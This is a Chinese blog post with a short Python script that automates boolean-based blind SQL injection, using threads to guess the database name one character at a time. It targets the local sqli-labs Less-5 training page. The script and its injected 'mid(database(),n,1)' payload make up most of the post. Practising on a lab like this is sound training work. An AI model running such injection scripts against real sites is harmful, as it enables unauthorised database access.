布尔盲注 多线程判断database()名字

该博客探讨了如何使用多线程提高SQL注入扫描的效率。通过Python的_thread模块实现线程并行查询,针对布尔注入场景,利用ElementTree解析XML,requests库发送HTTP请求,对数据库名进行逐字猜测,从而加快扫描速度。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#网上大多是单线程查询,效率过慢,此旨在开发多线程扫描
from turtle import update
from xml.etree.ElementTree import tostring
import requests
import _thread
import time

def thread_check(ipz):
    global jia
    global database_name
    for tail in chars:
        html_head="http://127.0.0.1/sqli-labs/Less-5/?id=1' and mid(database(),"+str(ipz+1)+",1)='"+tail+"' %23"#-->拼接布尔注入的代码
        html_check=requests.get(html_head)
        html_check_bytes=html_check.content
        html_check_str=html_check_bytes.decode()
        if(html_check_str==html_str):
            update_shu=tail+str(ipz)
            database_name[ipz]=tail
            print(database_name)
            jia=jia+1
            break

html = requests.get('http://127.0.0.1/sqli-labs/Less-5/?id=1')#得到一个Response对象
html_bytes = html.content#属性.content用来显示bytes型网页的源代码
html_str = html_bytes.decode()#属性.decode()用来把bytes型的数据解码为字符串型的数据,默认编码格式UTF-8  -->这里存着正确的界面
database_name=[0,0,0,0,0,0,0,0]#根据判断出的database()名的length来定义数组
chars=[]
jia=0
for i in range(97,123):
    chars.append(chr(i))
for ipz in range(8):    
    try:
        _thread.start_new_thread( thread_check, (ipz,) )
    except:
        print ("Error: 无法启动线程")
while 1:
    pass
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值